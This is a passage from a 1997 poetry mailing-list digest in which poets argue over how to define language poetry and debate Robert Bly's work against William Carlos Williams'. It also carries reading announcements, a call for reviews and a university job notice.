>No, no, no. What you're talking about is INTERMEDIA or, in my taxonomy,
>PLURAESTHETIC POETRY. Great stuff but NOT ***LANGUAGE*** poetry. I
>continue to regret we lack an agreed-upon definition of what language

>poetry is, as opposed to what its creators might be trying to do with
>it. --Bob G.
>
>

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106. George Bowering
Re: Social Tangles
Sun 5 Oct 1997

> *What I disagree with is the now accepted fact that art can contain, or represent in some way, the same sense of social urgency as a conversation, say, or discussions like those on this list.*

This must be some kind of metaphysics. I cant figure out how one can disagree with a fact.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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107. Bob Grumman
Re: Defining Language Poetry
Sun 5 Oct 1997

In response to my tentative definition of language poetry as poetry that "significantly breaks the rules of grammar and/or spelling for expressive effect..." Judy Roitman wants to know "Just what are we supposed to be expressing?" Answer: I dunno. Just something.

Frankly, it took me a while to figure out why I used "expressive," but then I remembered that traditional poets broke the rules of prose grammar a lot to get their meter right, and place rhymes, etc., or for purposes secondary to expressing something. I wanted to distinguish the way I think language poets break rules from that. Also I want to distinguish expressive breaking of rules as in Stein's "rose is a rose is a rose" from nonsense, or that which expresses nothing (or anything) to the auditor, however sincerely the auditor tries to get something from it.

For a little more on this, let me refer back to Aram Saroyan's "lighght," even though I use it all the time (and am surely the world's worst one-poem critic--

and the world's FIRST one-WORD critic). This poem, for me, expresses the litheness, expansiveness, silence, ethereality of light, and a metaphor of light as the spelling of "lighght," and much else. The breaking of orthographic rules makes it fresh but also yields the latter (implicit) metaphor, which is central to the poem. The poem no doubt expresses other things to other readers, and to Saroyan, but I think the neutral observer (and/or consensus of careful, sympathetic auditors) would agree that it expresses, at least in part, what I claim it does. "Xchhghghkkkkkk," on the other hand, expresses nothing, or whatever you want to read into it. Ooops, I meant "Xchhghghkkkkkkk," not "Xchhghghkkkkkk." Sorry.

Now to jump to Don Wellman's response which I found quite absorbing and sensible but in the final analysis not too useful for my admittedly narrow purposes, which are entirely taxonomic. I would ask him what he would call a person who tweaks or torques syntax (or some other aspect of grammar), or spelling, without intending to comment "on dominant modes of cultural production," or get involved in ideological concerns, and--in fact--does not, as "lighght" does not. Would they be other than language poets? It seems to me we need a larger category for language poetry that can then be broken down into genres of language poetry dependent on subject-matter. So I still maintain that what is (taxonomically) important about language poetry as I understand it, is that it tweaks syntax, not why it does so, or what the effects of the tweaking are.

Harold Rhenisch, I think, is most concerned with what various poets do as opposed to how to classify the kinds of poetry that are done. I certainly believe in mixing various poetries (and in paring poems down into single effects when that can express or be something moving), but in speaking of them, I want precise terms to be used. It shouldn't be hard to distinguish pure language poems (which focus on grammar or spelling) from pure visual poems (which focus on the interaction between visual and verbal imagery), and agree that many poems can be both visual and language poems (which I would call either compound visual or compound xenolinguistic poem depending on whether they were more visual or language-centered).

Not much to say to Thomas Bell except that I agree that many of my coinages are pretty pompous-sounding, and that I can only hope the pomp will wear off of them--or that I can think of simpler terms, which seems unlikely as I've tried for years to do that. That the accessibility is his main concern in his poetry (if I understand him right) is interesting but I'm not sure how it relates to taxonomy, unless we want to classify things by difficulty--but I don't, because what's difficult is too subjective. Visual poetry can be very difficult, for instance, though in a different way from language poetry. I continue to feel that defining poetry by the techniques it uses makes the most taxonomic sense.

And then there's Jacques Debrot's also interesting post which seems to accuse naming certain kinds of poetry "language poetry" of the old sin of reductionism (and I'm an unapologetic reductionist), based on the variability of one language poet, Rachel Blau DuPlessis's, work, but all her variability means to me is that sometimes she's a language poet, sometimes not.

I suspect I'm not responding to all the ideas that have wafted my way, and am nowtoo worn out to continue. I hope I've given a sufficient gist of where I stand, though.

--Bob G.

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108. David R. Israel
Thomas Rain Crowe
Sun 5 Oct 1997

Poetas,

tonight I've been browsing Amazon.com's listings of versions of the Persian poet Hafiz [or Hafez] and came on a new volume done by a certain Thomas Rain Crowe (the 1st item listed below). The 2nd book noted below -- evidently Crowe's own work -- was published by Small Press Distribution. Hence my supposition that perhaps there are some on this list who could say a word or two about who this poet is, or something abt. his work -- esp. abt. either of the initial 2 titles noted below (or whatever). Am curious. (Regarding the Hafez, does Crowe happen to know Persian? From the name, one might infer the possibility that he's a Native American? . . .)

thanks,
d.i.

In Wineseller's Street : Rendering of Hafez
Thomas Rain Crowe / Paperback / Published 1997 (Special Order)

The Laugharne Poems
Thomas Rain Crowe / Paperback / Published 1997 Our Price: $10.00 + $0.85 special surcharge (Special Order)

New Native
Thomas Rain Crowe / Paperback / Published 1993 Our Price: $9.95 + $0.85 special surcharge (Special Order)

Night Sun : An Initiation Trilogy (Boxed Set, 3 Books)
Thomas Rain Crowe / Paperback / Published 1993 Our Price: $24.95 (Special Order)

The Personified Street
Thomas Rain Crowe / Paperback / Published 1993 Our Price: $8.95 + $0.85 special surcharge (Special Order)

Water Form the Moon
Thomas Rain Crowe / Paperback / Published 1993 Our Price: $8.95 + $0.85 special surcharge (Special Order)

.
.....
.....
\\\

Her hair slicked back standing
on the street

One stockinged foot toeing
the sidewalk

Her shoe in her hand. Looking
intently into it

She pulls out the paper insole
to find the nail

That has been hurting her

****

A factory
has also another aspect, which we call the financial aspect
It gives people the power to buy (wages, dividends
which are power to buy) but it is also the cause of prices
or values, financial, I mean financial values
It pays workers, and pays _for_ material.
What it pays in wages and dividends
stays fluid, as power to buy, and this power is less,
per forza, damn blast your intellex, is less
than the total payments made by the factory
(as wages, dividends AND payments for raw material
bank charges etcetera
and all, that is the whole, that is the total
of these is added into the total of prices
caused by that factory, any damn factory
and there is and must be therefore a clog
and the power to purchase can never
(under the present system) catch up with
prices at large,
and the light became so bright and so blindin'
in this layer of paradise
that the mind of man was bewildered.

(excerpted from Pound, Canto XXXVIII)

****

a footnote to another recent thread, re bly & williams (since "Proletarian Portrait" is by williams)--bly's "williams had no inner life" is pretty close to pure in the projection department. Bly, the man who chautauquas around like a rotarian of spirituality, talking and talking about the inner man, accuses williams,

the smalltown doctor whose attic-typed poems are revelatory but require some consideration, some quiet time on behalf of both reader and writer, of everything he himself lacks. Williams can only answer him with silence.

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110. **David Bromige**
p s to social tangles
Mon 6 Oct 1997

---

that is, of lacking what in fact he himself lacks.

↑ Index

111. **Aviva Vogel**
Re: ANOTHER ATTEMPT
Mon 6 Oct 1997

Tom, a basic question that gnaws at me: what's to be gained for a reader that "works harder," when all the "work" in the world won't reveal to her/him what the "author" of a "text" intended (unless the intention was to offer a tabula rasa for the reader to project self on to)?

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112. **Aviva Vogel**
Re: p s to social tangles
Mon 6 Oct 1997

---

what does he lack? I'm always interested in specifics...Thanks!

↑ Index

113. **Aviva Vogel**
Robert Bly/Wm. Carlos Wms.
Mon 6 Oct 1997

What's your take on Bly's work? What has your experience of his poetry been? And why would you, personally, consider Williams' work more "spiritual" (to use a vague, but I hope understandable, term)?

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114. Tom Orange
another attempt
Mon 6 Oct 1997

to take advantage of the time delay the list digest affords by tying together what bob grumman and don wellman are saying as i think there's a niche there for what i'm trying to get at

when i gently accused bob of taking textual xenolinguistics "at the expense" of philosopho-political agendae or lets just call them as don does critiques of production, i was overstating. bob corrects me by saying he takes the former "ASIDE" from the latter in an effort to get at an "objective" definition etc. fair enough. first question then is can you so easily put the latter aside, bracket it if prefer phenomenological parlance.

which takes me to what struck me in don's post as particularly to-my-point. don talks about "revealing social facts through the tweaking...of received language."

so second question. or prhaps an hypothesis. what the vendlers and the rest of those who reject langpo fail to see is precisely the way the tweaking reveals social facts -- as revealed in the language itself or the xenolinguistics. frankly i dont always see it myself. cept thru the narrow chinks of my caverns.

btw bob, the vendler essay's in a book called the challenge of periodization edited by lawrence besserman. agreed, hers is an apporach tres en retard sur son epoque, hence worth checking out.

t.

↑ Index

115. Tom Beard
Re: Sokal's Beard & Beard's Sokal
Mon 6 Oct 1997

I don't want to start a flame war here. If my initial post on this subject appeared aggressive (or defensive), it was because your article had a tone that I interpreted as distinctly unfriendly to anyone who is either a working scientist or who (like myself) grew up in a scientific milieu and still views science as making useful contributions to our undersatanding of the world. I hope my second post had a more measured tone, and approached the points that you made in a cool-headed manner.

We must have read different popular books on science. I haven't read many myself, recently, but in my adolescence I read a lot of Sagan, Hofstadter, Dennett, Dawkins and Mandelbrot. They have helped form my views, not only on science and mathematics, but also on philosophy, politics and (yes) poetics. If some

science writers have a tendency "to wax poetic", is it too generous of me to believe that this is not "by virtue of the primacy of the sciences" but out of a genuine love for their subjects, and to convey the awe of natural phenomena that too many people believe is removed by scientific investigation?

I'm not sure that it is "widely accepted" that either Logical Positivism or Strong AI have failed. I hadn't heard that the Strong AI community had either set themselves a deadline to achieve machine consciousness or been shown that such an achievement was a priori impossible.

> *"Adolescent, chauvinism, bigotry?" Let me quote from Barrow and Tipler's Anthropic Cosmological Principle. "...the arguments one hears today against considering intelligent computers to be persons and against giving them human rights have precise parallels in the nineteenth century arguments against giving blacks and women full human rights." Is this the domain of science or is it "false omniscience"? You think B. and T. might be in a little bit over their heads. And of course the authors provide no historical information to back up their statement.*

I think that B&T might be referring generically to those who argued that blacks or women lacked the intelligence or humanity of white males, and were thus less than human and deserved fewer rights. In this case there is a direct parallel with those who claim that intelligent computers (and I assume that B&T are talking of some hypothetical future development) deserve fewer rights than homo sapiens, and I don't see how a call to extend their rights can be seen as "adolescent, chauvinis(t)" or "bigot(ed)".

Tom Beard.

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116. David R. Israel
Re: another attempt
Mon 6 Oct 1997

Po!

(a variant on the urban vocative Yo) --
am getting Poetics in digest now, so it's interesting to read a
thread like this one en masse . . .

here's my mite to the myre --

Harold Rhenisch wrote,

> *Luigi,*
>
> *you wrote:*
>
> *"i believe the thread here is on what specific features distinguish*

> *the aesthetic movement called "Language Poetry" from other aesthetics/schools/tendencies...."*
>
> *Thanks for the correction.*
>
> *A parallel discussion could be on what characteristics "Language Poetry" shares with other aesthetics, just so we don't lose something vital in the process of definition. For instance, if Language Poetry and Intermedia Poetry both work to break boundaries, say, they could be seen as parallel manifestations of a larger project, perhaps as yet undefined. To see them in such terms might help focus the definition of each. Or it might not. But it would be fun trying.*

At risk of (a) pedestrianism or (b) overbroadness (not to mention other errors et ironies not included in this abecedarian roster), doesn't the word

POSTMODERN(ism)

pretty well cover all (or is that both?) of the above?

/ / /

Quip: There are two kinds of poetry schools:

those that posit / admit of [bounded / definable / atomistic?] poetry schools, and those that don't.

yours,
d.i.

p.s. to Joe Amato: good luck w/ elevenyer (give or take)

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 .
 .....
 ............
 \\\\
```

117. Susan Wheeler
Poetics Digest
Mon 6 Oct 1997

I for one think Don Wellman's definition ace, and is what I have always understood as what constitutes (-ed?) language poetry in an historical sense. Work with common strategies that does not share the social underpinning I have always thought of as either satellite work or a later generation's development/"misprision," with no sufficient appellate as of yet.

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

118. henry goo
Re: another attempt
Mon 6 Oct 1997

I 2nd Susan Wheeler's opinion & also applaud Bob G's independent efforts. D. Wellman's post for one thing revealed connections between the work of the lang-poohs & the soc-artists in Russia at the same period. Speaking as a lang-pooh BASHER myself, the bashing seems to come from 2 different directions - one, from Vendors of the Establishment who feel threatened by it (I mean the poetry establishment), and two, from people like me who miss the affirmation ("holism"?) denied by "tweaking", who would like to find the synthesis under the critique. Call me naive, but I think poetry since a while back has something to do with praise. So that's another resource for them's that can find something to sing about in this foxhole... dust & ashes & unclean lips O hallelujah you dog-gone sinner-folk... Wellman said it himself when he said at mid-70s political-social discourse was worn out & co-opted & people had turned to local organizing. Well those people are still there, some of them. (not me, I'm just a coyote) Maybe the affirmation is in the silence. As in "I hate (dead) speech." Silence - whut that? But you begin to see (thanks to Wellman) that language poetry is not a "technique" divorced from a very particular & salt-laden & lemon-scented & methane-chlorox-bleached-calcified historical situation. & we in it. & it ain't a degree program. - Henry gould

↑ Index

119. Michael Magee
Re: Robert Bly/Wm. Carlos Wms.
Mon 6 Oct 1997

From: Aviva Vogel <[redacted]>

What's your take on Bly's work? What has your experience of his poetry been?
And why would you, personally, consider Williams' work more "spiritual" (to
use a vague, but I hope understandable, term)?"

Not sure if this was addressed to me or addressed generally but I figured I'd answer it anyway. I've read plenty of Bly's work, though I haven't followed him as if I was his pollster or anything. As I said in my last post, my main issue with him is that I think his apotheosization of "the inner life" is an intellectual (an poetic) sham. My sense has always been that ultimately he means "Robert Bly's inner life" and not much else. Take this:

"Rising from a bed, where I dreamt
Of long rides past castles and hot coals,
the sun lies happily on my knees;
I have suffered and survived the night
Bathed in dark water, like any blade of grass."

Aside from its containing a bathetic rip-off of Whitman, it operates on what I consider a fatal assumption, nameley the assumption that thr reader should give a shit what Robert Bly dreamt last night, apart from that dreaming having any function as socially mediated communication. Why? Poetry is not speech, not a newspaper, not a telegram, but it is most certainly communication. Whitman may have posed as "any blade of grass" but that pose was one of many in a nexus of insistently social poses. Believe too dreamily in the importance of your inner life and "the sun lies happily on my knees" is exactly what you'll get. Bly says he wants to get away from "the need to think of everything in terms of work," but it strikes me that this need is based on a definition of work which is far too narrow. Williams knew - look at "Proletarian Portrait," "Fine Wrok with Pitch and Copper" - that poetry was work; or at least that it was better imagined as such.

-Mike.

↑ Index

120. Maria Damon
Re: Robert Bly/Wm. Carlos Wms.
Mon 6 Oct 1997

At 8:31 AM -0400 10/6/97, Michael Magee wrote:
>From: Aviva Vogel <[redacted]>
>
>Take this:
>
>"Rising from a bed, where I dreamt
>Of long rides past castles and hot coals,
>the sun lies happily on my knees;
>I have suffered and survived the night
>Bathed in dark water, like any blade of grass."
>
>Aside from its containing a bathetic rip-off of Whitman,

it contains a dangling modifier in the first coupla lines, no? --md

↑ Index

121. Mark Prejsnar
Re: language poetry bashing
Mon 6 Oct 1997

I think Henry's response to my posting is reasonable and well-put. Thanx.

I also like what Bill Burmeister has said....

My main take on broad discussions of LangPo, tends to be different than a lot of peoples: I agree with Perelman and other principles involved with LangPo, that the most useful use of the term is the narrowest: as a label of convenience refering to a loose cluster of poets, numbering two or three dozen maybe, who moved in a certain direction together in the 1970s and 1980s. Rather than using the term as a synonym for, "rather disjunctive writing showing an awareness of the formal conceptions of modernism and uninterested in the suburban politesse of the linguistically inert workshop lyric." The latter, describes my work and that of an awful lot of contemporary poets...To say we're all LangPotes is rather like saying we're all "postmodern american poets" or something....Gets you nowhere. The Language circle made very specific and focused (but also in other ways very broad and polydirectional) interventions in the poetry scene, over 25 years or whatever. To understand where we are (I would argue) it's best to keep clear that we are us, working today, and the Language circle was a specific moment, which has influenced many of us, but from which we are distinguishable. I think Bill's parallel to surrealism is very promising in

this regard: Think of someone like (pratically my all-time favorite poet) Rene Char..His involvement with Breton and the official Surrealist International was brief tho intense. After breaking with them he went on to make one of the most vibrant and ambitious bodies of work to derive from the 20th century surrealist stream. Tho he's often called a surrealist by people, it's important to what he did that he didn't see himself as part of that overall label. (Similar things could be said of Vallejo, Huidrobo and others in a number of different countries and languages, as well as poets descending from Char's influence like the fascinating G. Sobin...)

And one other point about why I and my friends are not "Language poets"...one of the main functions of the label in recent years has been to isolate and dismiss poets working in a less conservative vein than the person using the term: more and more it functions (when used to mean "formal innovation" or "nonlinear writing" or something) as a boundry-drawing term and a term of abuse.

All of that said, there's lots about the Language circle's work and theory that is rich and worth discussing. As a left activist I have more than once meditated here about the political connection, for instance, and the concept of unfinished work as inherently radical and democratic (challenging the reader to take part in "finishing" the poem, rather than stonily accepting its "authority" as a great work of art, a sort of intellectual boss..) and the interesting parallels to Brecht's esthetic ideas.

Etc...

Mark P.

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122. Mark Prejsnar
Re: an attempt
Mon 6 Oct 1997

Rod,

I thought yours was an excellent post. Yes, insofar as we're looking back at the last 40 years of poetry in this country, to ask ourselves where we are, the single most fruitful exercise is (as you say) to ask how the more austere anti-"voice" LangPo creates synthesis points/interference patterns/eddys/undercurrents against the broad humanisms of the "New American Poetry" currents.

Many of us still feel edgy (pun wasn't intended) about the way soporific academic mainstreamers champion what they feel unthreatened by, in the work of a Ginsberg, say. All the more reason (to bring this thread back to the person who started it) to value work which seems especially to be an extension in contemporary terms of the sharp springy colloquialism of a Ted Berrigan--such as

the new Wallace book Aldon has alluded to, Nothing Happened and Beside I Wasn't There, which I strongly recommend to the Listpersons....

Mark P.

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123. Douglas Barbour
Re: social tangles
Mon 6 Oct 1997

Bravo David B for that post & the reprints. But especially for such a pithy 'placing' of Bly & his failure of sense, let alone reading.

Yup: those poems are 'containers/containments of "social urgency"' but they also do a lot more. which is also true of many kinds of langpo (& certainly whatever we call Rachel Blau duPlessis's often amazing work). I admire Bob Grumman's passion for taxonomy but remain more intrigued myself by the work that crosses boundaries... taxonomic ones as much as any...

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

I have not seen a collected grouping, but I've been reading the "Drafts" sequence in many little magazines, for some years now, and they strike me as maybe about the most exciting poetry project going...BTW..

Mark P.

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125. **Pritchett,Pat**

Re: Raworth & Dorn/Fraser Reading

Mon 6 Oct 1997

For those in the Denver/Boulder area:

Tom Raworth & Ed Dorn (who evidently is feeling pretty well) will be reading at the University of Denver, Tuesday, Oct. 14, at 7:30 PM in the Dupont Room of the Mary Reed Bldg.

Kathleen Fraser will be reading at the Naropa Performing Arts Center in Boulder, Wednesday, Oct. 15 at 7:30 PM.

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126. **Mark Prejsnar**

Re: Poetics Digest

Mon 6 Oct 1997

On Mon, 6 Oct 1997, Susan Wheeler wrote:

> *I for one think Don Wellman's definition ace, and is what I have always understood as what constitutes (-ed?) language poetry in an historical sense. Work with common strategies that does not share the social underpinning I have always thought of as either satellite work or a later generation's development/"misprision," with no sufficient appellate as of yet.*
>
> *Susan Wheeler*
> [redacted]

Yes,....I also thought that Don's post was helpful and interesting; and I believe you're right that there are different moments in the flow of poetic tactics...In fact, the eary work of Clark Coolidge and Susan Howe (with Palmer somewhere in the middle??) define two points, one very political the other not (on the surface); and this dual nature can be seen in later developments after 1972...But nonetheless, as you say, the core of work the Language circle did thereafter was highly political; and later poets influenced by them have not always cared about that skein of concerns...

↑ Index

127. Mark Prejsnar
Re: Robert Bly/Wm. Carlos Wms.
Mon 6 Oct 1997

Mike M's reply about Bly's work was good.....

It overlaps considerably in its basic points with a very polemical piece by Eliot Weinberger which is included in his book Written Reaction. I have many, many problems with Weinberger on other specific poetry issues (politically he and I are pretty much marching in the same left wing, and about politix he is often eloquent and passionate); ....But I enjoyed the pissed-off Bly essay a lot, and recommend it as an extension of what Mike says about the many problems in Bly's poetry...

The only thing I would add is about the specific music of Bly's work, the actual verse (and prose) per se..There is a quiet stillness which he wants to derive from the surrealist idiom (and from the hispanic and scandanavian poets he has translated, sometimes not too badly); I understand the attraction of this sort of hushed terseness..(The quintessential example, especially considering how lionized he is by mainstreamers, is of course James Wright) But long, long ago it degenerated in BLy's work into almost complete inertness!

Mark P.

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128. Judy Roitman
Re: Defining Language Poetry
Mon 6 Oct 1997

> *In response to my tentative definition of language poetry as poetry that "significantly breaks the rules of grammar and/or spelling for expressive effect..." Judy Roitman wants to know "Just what are we supposed to be expressing?" Answer: I dunno. Just something.*

But that's an important point. Is there something to be expressed? My vague and not very precise notion of langpo is that the notion of "something to be expressed" just isn't present in this sort of poetry, whether we want to call it language or post-language or proto-post-language or whatever.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| Larry Eigner, 1927-1996
---------- Note new area code
----

http://titania.math.ukans.edu/faculty/roitman/

↑ Index

129. **cris cheek**
Re: another attempt
Mon 6 Oct 1997

> *Call me naive, but I think poetry*
> *since a while back has something to do with praise.*

i for one wish that your own messages exhibited more.

So much (well, perhaps not so much) thought, time and energy expended on the fins of the carp. Be a priest. All hail!

Who needs enemies.
love and love
cris

↑ Index

130. **Maria Damon**
Re: Poetics Digest
Mon 6 Oct 1997

At 11:36 AM -0400 10/6/97, Mark Prejsnar wrote:
>On Mon, 6 Oct 1997, Susan Wheeler wrote:
>
>> I for one think Don Wellman's definition ace, and is what I have always
>> understood as what constitutes (-ed?) language poetry in an historical
>> sense. Work with common strategies that does not share the social
>> underpinning I have always thought of as either satellite work or a later
>> generation's development/"misprision," with no sufficient appellate as
>>of yet.
>>
>> Susan Wheeler
>> [redacted]
>
>
>Yes,....I also thought that Don's post was helpful and interesting; and I
>believe you're right that there are different moments in the flow of
>poetic tactics...In fact, the eary work of Clark Coolidge and Susan Howe
>(with Palmer somewhere in the middle??) define two points, one very
>political the other not (on the surface); and this dual nature can be seen

>in later developments after 1972...But nonetheless, as you say, the core
>of work the Language circle did thereafter was highly political; and later
>poets influenced by them have not always cared about that skein of
>concerns...

i for three found don's post helpful, the kind of thing one can gve to students to help them "get it." after all is said and done, though, and i know we've gone round and round on this, while langpo clearly has a politics, it seems to some-how stand apart from the muck and mire of the everyday, as if that latter huge welter of "stuff" were too hopelessly contaminated to engage (stuff like identity, etc). i can't help but wonder about this, though i myself am an aesthete rather than a politico when all's said and done. i guess one reason i keep yammering on and on about cultural studies is that i'm not sure a poetics can do "it" all on its own. etc. your pal, maria d

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131. Bobbie West
readings (HERE)
Mon 6 Oct 1997

Rod Smith wrote:

>makes me think of the Raworth: "The narrative line is only
  as boring as what is hung on it." <

Speaking of "the Raworth," does anyone care to give a report on the recent readings at HERE in NY?

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132. main
call for reviews
Mon 6 Oct 1997

---

currently reading short reviews
(300-600 wrds)
for new mag of poetry & poetics.
essays will also be considered.

please backchannel w proposal
by 17 october.

best,
dan featherston

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133. Pritchett,Pat
Re: Readings/Help
Mon 6 Oct 1997

My apologies to all if this shows up twice. I seem to be having a server problem:

_____
For those in the Denver/Boulder area:

Tom Raworth & Ed Dorn (who evidently is feeling pretty well) will be reading at the University of Denver, Tuesday, Oct. 14, at 7:30 PM in the Dupont Room of the Mary Reed Bldg.

Kathleen Fraser will be reading at the Naropa Performing Arts Center in Boulder, Wednesday, Oct. 15 at 7:30 PM. _____ A friend of mine is feverishly preparing for her PhD. comps and asks what, besides _The Pound Era_, offers a good, broad overview of modernist American poetic practice and theory? Please backchannel any suggestions.

Thanks,
Patrick Pritchett

↑ Index

134. Aldon Nielsen
bashing Basho
Mon 6 Oct 1997

1) at the risk of repeating myself the risk of repeting myself repeating Ron Silliman, I still think the best definition of a "language poet" is that offered by Ron Silliman some years back, repeated by me here some years later, to the effect that a "language poet" is "anyone who has ever been accused of being a language poet."

2) Not to be outdone by language poets, Senator John Ashcroft, in explaining to his honorable colleagues why the NEA should be cut off, held up a placard his staff had prepared for him to display (this was, after all, on C-Span) -- The placard quoted in its entirety a poem, no doubt recognizable to many on this list, that reads:

LIGHGHT

This poem was Ashcroft's example of wasteful and elitist practices at the NEA -- to quote the Village Voice's coverage of the rare moment of literary history that followed: "Only after Barbara Boxer called him on it did he admit that this grant was awarded back in the 60s. He countered by saying it was one of the few NEA horrors he could hold up on television without offending viewers."

3) One of my colleagues in the sociology department here at Loyola Marymount just published an article on suburban, middle-class drug dealers -- what caught my eye was the periodical in which the journal appears, _The Journal of Deviant Behavior_. Imagine being rejected by the editors of that one!

4) Someone asked here about the Harryette Mullen taklk I quoted from in _Black Chant_. Harryette tells me a version of the essay appeared in a recent _Callaloo_, but she didn't have the citation handy. I'l try to look it up and post the info. here -- my own copies of the mag. are in another part of the state --

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135. Thomas Bell
Re: ANOTHER ATTEMPT
Mon 6 Oct 1997

While i don't want to push the analogy too hard, it seems to me these two opinions were often in the air in Jackson Pollock's early years. Still in the air in many quarters. But come to think of it lagpo would not want to claim JP as a forefather, would it (theyor he or she)? tom bell

At 12:43 AM 10/6/97 -0400, Aviva Vogel wrote:
>Tom, a basic question that gnaws at me: what's to be gained for a reader
>that "works harder," when all the "work" in the world won't reveal to her/him
>what the "author" of a "text" intended (unless the intention was to offer a
>tabula rasa for the reader to project self on to)?
>----------
At 11:34 AM 10/6/97 -0500, Judy Roitman wrote:
>>In response to my tentative definition of language poetry as poetry that
>>"significantly breaks the rules of grammar and/or spelling for
>>expressive effect..." Judy Roitman wants to know "Just what are
>>we supposed to be expressing?" Answer: I dunno. Just something.
>>
>
>But that's an important point. Is there something to be expressed? My
>vague and not very precise notion of langpo is that the notion of
>"something to be expressed" just isn't present in this sort of poetry,
>whether we want to call it language or post-language or proto-post-language
>or whatever.
>

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136. Maria Damon

job info fwd

Mon 6 Oct 1997

Date: Mon, 6 Oct 1997 10:35:50 -0500 (CDT)
From: Betty L Agee <[redacted]>
To: Adjunct Faculty <[redacted]>,
W John Archer <[redacted]>,
Ayers L Bagley <[redacted]>,
Kent R Bales <[redacted]>,
Hyman Berman <[redacted]>,
William C Beyer <[redacted]>,
McKinley Boston Jr <[redacted]>,
Kinley Brauer <[redacted]>,
Rose M Brewer <[redacted]>,
Roger D Clemence <[redacted]>,
Maria Damon <[redacted]>,
David O Born <[redacted]>,
Hazel F Dicken-Garcia <[redacted]>,
[redacted],
Angela D Dillard <[redacted]>,
John M Dolan <[redacted]>,
Arthur I Geffen <[redacted]>,
Philip J Gersmehl <[redacted]>,
George D Green <[redacted]>,
Edward Griffin <[redacted]>,
[redacted],
[redacted],
Judith A Martin <[redacted]>,
[redacted],
[redacted],
March L Krotee <[redacted]>,
Barbara Laslett <[redacted]>,
Josephine D Lee <[redacted]>,
Richard D Leppert <[redacted]>,
Alex J Lubet <[redacted]>,
Mary Jo Kane <[redacted]>,
Ronald C McCurdy <[redacted]>,
Toni A McNaron <[redacted]>,
Russell R Menard <[redacted]>,
[redacted],
Lisa A Norling <[redacted]>,

Jean M O'Brien-Kehoe <[redacted]>,
Joanna O'Connell <[redacted]>,
[redacted],
Paula Rabinowitz <[redacted]>,
Nancy L Roberts <[redacted]>,
Guillermo Rojas <[redacted]>,
Marty Roth <[redacted]>,
Roger P Miller <[redacted]>,
[redacted],
[redacted],
Sara M Evans <[redacted]>,
Thomas M Scanlan <[redacted]>,
Colleen Sheehy <[redacted]>,
Robert B Silberman <[redacted]>,
Allan H Spear <[redacted]>,
Ellen J Stekert <[redacted]>,
Terence W Ball <[redacted]>,
Dennis N Valdes <[redacted]>,
Rudolph J Vecoli <[redacted]>,
John S Wright <[redacted]>,
Jack Zipes <[redacted]>,
Jacquelyn N Zita <[redacted]>
Subject: Job Notice: please forward who might be interested

ASIAN AMERICAN. The American Studies Program at the University of Minnesota invites applications for a tenure-track Assistant Professor in Asian American Studies, to begin September 16, 1998. A Research emphasis in the study of Asian Americans is required as is a Ph.D., evidence of good teaching and productive scholarship. Candidates will teach Asian American courses and in the core American Studies curriculum. This is a full-to,e. 9month position. Candidates should send a letterof application, a c.v., a sample of scholarly work, transcripts and three letters of recommendation by November 15, 1997 to Betty Agee, American Studies Program, 104 Scott Hall, 72 Pleasant Street S.E., Minneapolis, MN 55455-0225.

Betty L. Agee
American Studies, 104 Scott Hall
72 Pleasant Street S.E.
University of Minnesota, Mpls, MN 55455-0225
Tel. [redacted] or [redacted]
Fax. [redacted]

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137. Harold Rhenisch
Re: another attempt
Mon 6 Oct 1997

David Israel,

You wrote:

"There are two kinds of poetry schools: those that posit / admit of >[bounded / definable / atomistic?] poetry schools, and those that don't."

To simplify dangerously, would that be similar to two kinds of imagination: the one that led to catholicism and the other to gnosticism? One Apollonean; one Protean?

I confess, I am intrigued by the idea that some literary activities might be wrongly named and that a dialogue between the bounded and unbounded schools might lead down some interesting avenues. Lowell gets placed as a Confessionalist, for instance, but standing back from the times a bit, might it not be fruitful to set up a parallel system, wherein he would belong to the school of doleful irony or some such. He would have a lot of company from all over the map.

Just a thought.

Thanks for the clarity.

Harold

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138. Hoa Nguyen
Kind Regards
Mon 6 Oct 1997

Hi. This is Dale Smith. Not Hoa. Nothing I say here should implicate her in any way. In fact, we unsubbed recently, but she has resubbed briefly to access the Poetics Archive.

My reason for writing is that I simply cannot respond to all of the backchannel messages many of you have sent to me the past week. So I thought I would address the list briefly.

Re: my thoughts on Language poetry, please refer to my post, "Social Tangles," of Sept. 29 (or 30th). To simplify that post, let me just say that so-called 'experimental' post-language forms of writing often betray the very issues the writer believes he or she addresses. In fact, formal gestures often confuse and obscure that which should be quite clear. These forms are, quite often, totalitarian in nature, because they demand the reader's servitude in disentangling the

work's 'meaning.' Formal gesures often obscure or limit the social impulse for creating poetry in the first place. My problem is not so much with Language Poetry per se. I think that Silliman's impulse was, and has been, mostly honorable. And certainly, Lyn Hejinian has been attentive to the history of the poem for a long time and continues to work through her concerns for its potential. But these writers approached the poem from another side, a so-called 'traditional' side, 'tradition' meaning only that they read through the complex history of poetry in this language and others. But to younger writers I encounter, the 'method' has replaced a deeper search for personal, formal expression. And the confusion of form and impulse is painfully clear all too often. What I look for in poems I publish is a finished work that allows the impulse of the poem's occasion to be integrated into a compatible form. The results of such work often are remarkably effective due to a high regard for the emotional integrity of both the poem and the author. But, I've said more than I intended. My original post, looking back, is more clear and to the point.

On a final note, I do thank every one who has responded to Mike and Dale's. We are currently producing a final run to keep up with the demand from many on this list ranging from Juliana Spahr to Anselm Hollo. Thank you all for your support.

In Absentia,
Dale Smith

Get Your Private, Free Email at http://www.hotmail.com

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139. **Bob Grumman**

Re: Defining Language Poetry

Mon 6 Oct 1997

I have to admit that the number and diversity of the responses I and others have been getting regarding what language poetry is has me pretty befuddled. I probably need to download all pertinent data and go off to my tower for a few weeks to assimilate it. No time for that, though, so here are some answers to some of the questions that have been raised in my direction, first Judy Roitman's about what langpo is expressing. In my first message about that I did go on to show what one possibly language poem was expressing, and say a few things about what I meant when I used the term, "expressing." I should add now that I also use the term to distinguish langpo that uses some kind of broken syntax to express something (a feeling, a philosophical stance, an image, whatever) from poetry that break syntax to break syntax, or to follow some rule (an example would be someone who switched verbs with subjects throughout an

